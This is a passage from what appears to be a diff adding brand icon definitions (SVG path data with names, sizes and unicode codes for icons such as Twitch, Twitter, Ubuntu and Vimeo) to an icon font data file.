10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z"], + "tumblr-square": [448, 512, [], "f174", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z"], + "twitch": [512, 512, [], "f1e8", "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z"], + "twitter": [512, 512, [], "f099", "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"], + "twitter-square": [448, 512, [], "f081", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z"], + "typo3": [448, 512, [], "f42b", "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z"], + "uber": [448, 512, [], "f402", "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z"], + "ubuntu": [496, 512, [], "f7df", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z"], + "uikit": [448, 512, [], "f403", "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z"], + "umbraco": [510, 512, [], "f8e8", "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z"], + "uncharted": [448, 512, [], "e084", "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z"], + "uniregistry": [384, 512, [], "f404", "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z"], + "unity": [576, 512, [], "e049", "M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z"], + "unsplash": [448, 512, [], "e07c", "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z"], + "untappd": [640, 512, [], "f405", "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z"], + "ups": [384, 512, [], "f7e0", "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z"], + "usb": [640, 512, [], "f287", "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z"], + "usps": [576, 512, [], "f7e1", "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z"], + "ussunnah": [512, 512, [], "f407", "M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z"], + "vaadin": [448, 512, [], "f408", "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z"], + "viacoin": [384, 512, [], "f237", "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z"], + "viadeo": [448, 512, [], "f2a9", "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z"], + "viadeo-square": [448, 512, [], "f2aa", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z"], + "viber": [512, 512, [], "f409", "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"], + "vimeo": [448, 512, [], "f40a", "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z"], + "vimeo-square": [448, 512, [], "f194", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 